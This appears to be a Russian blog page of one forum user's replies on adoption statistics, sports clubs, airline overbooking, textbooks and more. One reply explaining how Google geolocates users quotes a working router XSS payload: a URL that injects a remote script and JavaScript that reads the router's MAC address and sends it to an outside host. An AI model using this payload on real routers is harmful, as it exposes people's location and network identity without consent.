Mishka: Блог

Полл> А африканцев раз в тридцать больше, чем россиян. Соответственно, с учетом наших бюрократических препон, к нам в Россию должен приходить совершенно микроскопический процент американских усыновителей.

Провал в логике. Для того, чтобы можно было усыновнлять детей из Африки, там должна быть инфраструктура соотвествующая. Т.е. государство должно иметь законную процедуру и некоторые механизмы (детские дома или что-то подобное). В большинстве государств такой нет. Без этого adoption невозможно, т.к. рассматривается, как воровство детей. Вот в Азии в ряде государств есть. И оттуда вполне усыновляются. В частности, Лаос, Вьетнам.

Полл> А это не так.
Это не так, но не потому, что себе вообразил.


Полл> Ты ошибаешся. Будь разница не существенна - янки бы не заморачивались с прохождением нашей бюрократии. Про количество американских усыновителей у нас при равномерном по числености населения стран их распределении я выше сказал.

Паша, с Украины берут. А так вот тебе статистика:

U.S. families adopted more than 12,700 children through intercountry adoption
Семьи США усыновили/удочерили более 12,700 детей через интернациональный процесс в 2009 финансовом году.

in fiscal year 2009. China is the top sending country, followed by Ethiopia, Russia, South Korea, and Guatemala. Intercountry adoption has been on the decline since its peak in 2004 at 22,990 adoptions.

Китай занимает первое место по количеству усыновлённых детей. За ним идут Эфиопия (ха-ха, Паша, их Африки и больше, чем из РФ — прим. моё), Россия, Южная Корея и Гватемала.

 

Adoptions Home | Intercountry Adoption — официальный сайт правительства США.

Statistics | Intercountry Adoption — там доступ к БД. Полазь и посмотри.
Например,

Год	Китай	Эфиопия	Россия	Украина	Всего от всех
2006	6,492	731	3,702	463	20,680
2007	5,463	1,254	2,303	613	19,608
2008	3,912	1,723	1,857	490	17,456
2009	3,000	2,275	1,586	610	12,744
2010	3,401	2,511	1,079	450	11,058
2011	2,587	1,732	962	640	9,319

alex_ii>> Угу... Вот и скажи - стоила ли мелкая (и большей частью виртуальная) пакость американцам того? Это уж как-то вовсе классическое "Назло бабушке отморожу уши"...
Полл> Не скажу, потому что не знаю. Но "виртуальной" я эту пакость не считаю.
Полл> З.Ы. Да, я понимаю, что для детей было бы лучше, если бы к ним не ограничивали доступ возможных усыновителей.

В общем твоя теория про Африку совсем не подтверждается. Кстати, девочек адоптируют больше, чем мальчиков. Одна из причин в том, что в Китае девочек не хотят.

https://www.childwelfare.gov/systemwide/statistics/adoption.cfm — там ещё статистика.

yacc> Ты немного пропустил смысл моего поста Сам вспомни советские времена - сколько девушек ходило в ДОСААФ?

Да много ходило. Скажем так, парашютным и планерным из знакомых в Кишинёве занималось примерно 30%. А уж в туризме (в том числе и горном) у нас в двух группах (50 человек) занималось 15 человек, среди которых парней было только 4. Ориентированием (такой бег по пересечёке с картой в руках и нахождение контрольных точек) занималось тоже около 30% девочек (так уж получилось, что руководитель секции в универе был препод по программирования, с которым я был в хороших отношениях, а один из сокурсников с ним занимался и до универа).

Могу добавить данные по СДЮСШОР-2 и СДЮСШОР-6 г.Тирасполя. В одной занимался я, в другой бывшие одноклассники велоспортом. Бывшие, т.к. в 7 классе был отобран в спецкласс по л/а и поменял школу. Так вот наш отобранный состав составлял около 300 человек, а полный состав спортшколы около 600. Девочек было большинство (у них два вида гимнастики). Могу сказать про гребчих, т.к. с этой школой дружили немного (ну и персональные связи были ). Вот в спортшколах бокса и борьбы девочек не было, да. И это на 150,000 городок. А ещё учесть секции при городском стадионе (всякие футбольные, гандбольные, волейбольные, баскетбольные, стрельбы из пистолетов, винтовок, лука). Т.е. в них занималось более 4,000 человек точно. И это из примерно 50,000 молдых до 18 лет, из которых до 11 лет почти все беспроблемные, а из 20,000 оставшихся 4,000 заняты спортом. Про кружки всякие не знаю, т.к. в них уже не ходил. Но строители авиамоделей и радио точно были — бывшие одноклассники ходили. Заметь, никакой политики, девушек много занято тоже. Хотя шалить бегали.

BrAB> Самое "пробеговое" авто что я видел в живую - Чероки 1991 года. 500 000 км. Правда там был другой мотор, мосты, коробка - да и сам он был гнилой. Но ездил и ездиет сейчас

У меня, конечно, не 500,000 км, а всего 181,000 миль. Трансмиссию восстановил на 160,000. Двигаетель родной (без ремонта капитального). Полуоси родные, подшипники с ABS родные. Подрамник поменян. Вот в мае-июне, думаю, что перешагну 300,000 км. Бегает. Машинка 1999 года.

По определению, матрица композиции отношений есть , где — конъюнкция, а — дизъюнкция.

После нахождения матриц композиций для всех будет получена информация о всех путях длины от 1 до n. Таким образом, матрица есть искомая матрица достижимости.

Смотри, нужно реовно три матрицы одинакового размера — исходная, степень ишодной для построения степени (или матрицы композиций), результат — накапливаем. Берём исходную и инициализируем обе для накопления и результат. Потом получаем степень 2 и тут же ORаем в результат. Получаем степень 3 умножай степень 2 на исходную и опять ORаем в ресультат. Никакого динамического использования памяти, все матрицы определены (могут быть) через define-ры.

Bredonosec> хм. Судя по твоему ответу, нет

Как видишь — да. А вот ты нет.

Bredonosec> Вот именно, что с овербуком. А не строго по числу мест планируемой машины.

И планируют на конкретную модель, а не с бухты барахты. Т.е. места планируемой машины и есть основа. Без такого планирования никогда не будет овербука.

Bredonosec> А пересаживать - куда? Я понимаю, если бортов в пункт идет туча, но если всего один-два в сутки, то как - заставлять полсуток или сутки ждать? А птз - явно не тот пункт, куда борта ежечасно из того же самого хаба от той же компании прилетают.

На другие рейсы. Иногда другим компаниям. Иногда просто отказывают и возвращают билет. Обыденным является и такая практика, если клиент бузит, то зайти в салон и попросить пассажиров тех, кто может, отложить полёт, с оплатой гостиницы и питания и предоставлением скидки на будущее.

Бывает, что и двое суток ждут. Если есть пересадки, то начинают выворачиваться. Вплоть до снятия других пассажиров с рейса.

Bredonosec> а если всё-таки взять ситуацию с достаточно редкими рейсами?

Почему ты думаешь, что эта ситуация будет дешёвой? Взять борт в последнюю минуту дорого. Насколько я знаю, цену меняются примерно, как при покупке билетов. За много недель — дешево. За две недели уже дороже, за неделю ещё дороже. А вот перед отлётом — самое дорогое.

Bredonosec> вот потому я и предлагал сначала разобраться.
Bredonosec> Имеем вводные -
Bredonosec> 1) рейсы редко, пересаживать некуда, да и компания не АА

Это не имеет значения. По статистике (на каждый рейс своя) какой-то проыент пассажиров не является на посадку. По США средний 15%. Но это статистика. Значит в какой-то момент могут явиться все. Тут возникает проблема. В США даже закон приняли (кажеться, может ещё и ужесточать будут), что за овербукинг в таких ситуациях компания должна что-то сделать — посадить на другой рейс, оплатить гостиницу, в случае стыковочных рейсов — оплатить все затраты на последующие изменения маршрута с гостиницами и питаниями (это почему компании стараются таких всегда впихнуть) на эту тему.

Bredonosec> 2) вероятно, сезон, - больше народу летает.

Тогда берут самолёт в "долг" раньше. Это дело планируют. Иначе очень не выгодно. И гарантии нет. что самолёт будет. Т.е. взяли раньше, то и в расписании тип указан другой, и в системе билетов можно продать больше.

Bredonosec> Внимание, вопрос: почему отрицается возможность взятия на сезон в лизинг более крупного борта, а свой более мелкий отдать на более тощий рынок, но а-приори утверждается, что "они отмазываются" ?

Не отрицается. Но в расписании будет он, а не другой самолёт. А на Петрозаводск летал вовсе не Ту-134. Ты пойми, что у тебя вся цепочка меняется — куда можно или нельзя подъехать, топливо, обслуживание,... С бухты-барахты такое делают только в случае крайней необходимости. Опять, я не знаю, но в США можно получить кучу жалоб и отказов лететь, если пассажиру не сказать тип самолёта. И виновата будет компания частенько. Понятно, что форсмажорные обстоятельства исключаются.

Сергей-4030> Сумлеваюсь я чо то. Скорее я поверю, что гуглемобиль когда ездит, собирает информацию о встреченных wi-fi-ях. А когда информации по вай-фаю не найдено (тока купленный), то тогда смотрит по IP. Получается грубее, конечно.

Тут совокупность. У Браба в первом посте ссылочка на сайт с объяснениями...
Первое XSS injection с Ajax — почему с Ajax — это просто такой объект в JavaScripte, который позволяет организовавыть сессию (и с довольно высоким уровнем — можно на уровне HTTP, можно на уровне XML, можно свой протокол) в невидимом режиме. Я в PNC банке так данные передавал в LendingTree, местные вещи, в том числе для всяких DealerTrack и RouteOne. Более того, Amazon продаёт банкам инфу, где привязан настоящий платёжный адрес к IP адресу. Далее, суть состоит в том, что сайт посылает тебе HTML с JavaScript Code в котором стоит этот скрипт. Потом это скрипт коммуникирует с раутером, поставляя ему в URL ещё один JavaScript — у Сэма есть такая ссылочка:

1. http://192.168.1.1/index.cgi?active_page=9098&req_mode=0&mimic_button_field=goto%3a+9098..&button_value=9098&ssid=samy%20was%20here%3Cscript%20src=http://samy.pl/mapxss/fiospwn.js%3E%3C/script%3E

Заметь на строчки между словечками script. Сам скрипт выглядит так:

1. var xmlhttp =  new XMLHttpRequest();
2. xmlhttp.open('GET', '/index.cgi?active%5fpage=9124&req%5fmode=0&mimic%5fbutton%5ffield=goto%3a+9124%2e%2e&button%5fvalue=9124', true);
3. xmlhttp.onreadystatechange = function() {
4.         if (xmlhttp.readyState == 4 && xmlhttp.status == 200)
5.         {
6.                 var mac = xmlhttp.responseText.substr(xmlhttp.responseText.indexOf('00:21:63'), 17);
7.                 mac = mac.replace(/:/g, '-');
8.                 document.location = 'http://samy.pl/mapxss/fiosmap.php?mac=' + mac;
9.         }
10. }
11. xmlhttp.send();

Такой простенький Ajax c XMLHttpRequest объектом — основой Ajax-а. И этот скрипт уже инжектет внутрь сервера на раутере, если он XSS vulnerable, в этот момент уже пофиг, если раутер спрашивает пароль. Скрипту это уже не надо. Скрипт получает MAC Address. А потом в дело вступает Гугль.
У Гугля есть те самые автомобили, которые ты упомнул. Плюс гугль использует базу от хаккеров, которые выполнили mapping WiFi на адреса. По США почти полные карты доступны. Очень много сделано по Европе, России, Китаю и Австралии. Но не всё. Такие базы можно найти на разных сайтах. Mapping Wireless Routers

Кроме того, у Гугла стоят разные точки во многих местах с известным адресом. Ну и пользуются они открытыми, вроде, тоже. Хотя тут я на 100 процентов не уверен. Далее, как уже давал ссылку Kernel3 — с разных открытых точек можно померить силу сигнала. Ну и с андроидов можно снимать силу сигнала и MAC адреса доступных WiFi, которые кладутся в БД. Всё. Никакой фантастики, только методичный сбор инфы и её обработка. Да у имена у многих провов больших у промежуточных раутеров соотвествтующие. Например:

1. C:\>tracert www.google.com
2.  
3. Tracing route to www.l.google.com [72.14.204.103]
4. over a maximum of 30 hops:
5.  
6.   1     1 ms    <1 ms    <1 ms  Wireless_Broadband_Router.home [192.168.1.1]
7.   2    24 ms     4 ms     4 ms  L100.PITBPA-VFTTP-34.verizon-gni.net [173.75.30.1]
8.   3    13 ms     4 ms     4 ms  G1-0-7-334.PITBPA-LCR-03.verizon-gni.net [130.81.140.106]
9.   4    12 ms    11 ms    12 ms  so-15-3-0-0.LCC1-RES-BB-RTR1-RE1.verizon-gni.net [130.81.28.204]
10.   5    17 ms    17 ms    24 ms  0.so-3-2-0.XT1.DCA6.ALTER.NET [152.63.39.169]
11.   6    27 ms    14 ms    14 ms  0.xe-7-0-2.XL3.IAD8.ALTER.NET [152.63.32.230]
12.   7    15 ms    14 ms    24 ms  TenGigE0-6-1-0.GW7.IAD8.ALTER.NET [152.63.32.194]
13.   8    67 ms    47 ms    49 ms  google-gw.customer.alter.net [152.179.50.106]
14.   9    19 ms    14 ms    14 ms  216.239.46.248
15.  10   184 ms    23 ms    24 ms  66.249.94.46
16.  11    15 ms    17 ms    14 ms  iad04s01-in-f103.1e100.net [72.14.204.103]
17.  
18. Trace complete.
19.  
20. C:\>

Точки 2 и 3 тебе ничего не напоминают? PITBPA — Pittsburgh, Bethel Park. VFTTP указывает на конкретный район, который обслуживается конкретным концентратором. В точке 4 RES обозначает Residential. Бизнес ребята имеют другое расширение. Данные я собрал, работая напрямую с routing group, которой помогал выгрести ошибки. Так сказать, social engineering.

Kuznets>> пс врачи так и сказали - "оно вам очень надо?"
Полл> Жена просила быть с ней.

Ради интереса спросил жену, хотела бы она, чтобы я присутствовал (когда рожала). Ответ категоричен: "В Сад!!!"

Mishka> Дык, про помощь союзников я знал, но вот про песню услышал краем уха только в 1979 где-то. А окончательно узнал в этом треде.

Гы, моя жена сейчас сказала, что узнала про песню в США, когда смотрела русский канал — была передача про Утёсова. А уж она буквально перечитала всю Бричанскую библиотеку. Тёща ходила ругаться, чтобы книг ей не давали. Личность там она (жена) была известная.

Balancer> Никто не подскажет авторов и год издания советских учебников по физике, химии, астрономии и т.п.?

Могу только по математике, по которым я учился.

15. А.Н. Колмогоров, А.М. Абрамов, Б.Е. Вейц, О.С. Ивашев-Мусатов, Б.М. Ивлев, С.И. Щварцбурд, Алгебра и начала анализа. Учебное пособие для 9 и 10 классов средней школы. –М. Просвещение, 1975, 10 изданий.



Книжку ниже моя учительница по математике ругала — три года в одной книге и количество задач сильно сократилось. Есл помните, то были раньше 2 (или три? 5.6. 7-8) книжки: Геометрия 5-6 и 7-8 классы.

45. Колмогоров А.Н., Семенович А.Ф., Черкасов Р.С. Геометрия. Учебное пособие для 6-8 классов средней школы Под ред. А.Н.Колмогорова. -М.: Просвещение, 1979. -383 с.


Надо учесть, что в школе я учился в период 1971-1981. Т.е. Алгебра и Начала Анализа у меня была, как раз 1979, а вот Геометрия для 5-6 1975, 7-8 1977.

Критика учебников Колмогорова и Погорелова:

http://vivovoco.rsl.ru/VV/PAPERS/ECCE/MATH/MATH1.HTM

Сергей-4030> Ну ты даешь. Я вот и не знал, что такое Section 8, только после этого поста погуглил. И я уверен - ни один мой русский знакомый здесь не знает тоже.

Я знаю, у меня знакомые родителей-пенсионеров определяли по этой программе. Но не представляю, как туда пролезть молодым. Разве что на вэлфоре сидеть и всю жизнь безработным. Да и то, сейчас 5 лет только можно.

russo> - Нехорошо писать о том чего не знаешь, ака гнать

Блин, я уже ключевое слово сказал.

Кстати, вот интересная ссылочка про эти самые "облегчения" на землях федеральных, переданных военным. United States Code: Title 10,2668. Easements for rights-of-way | LII / Legal Information Institute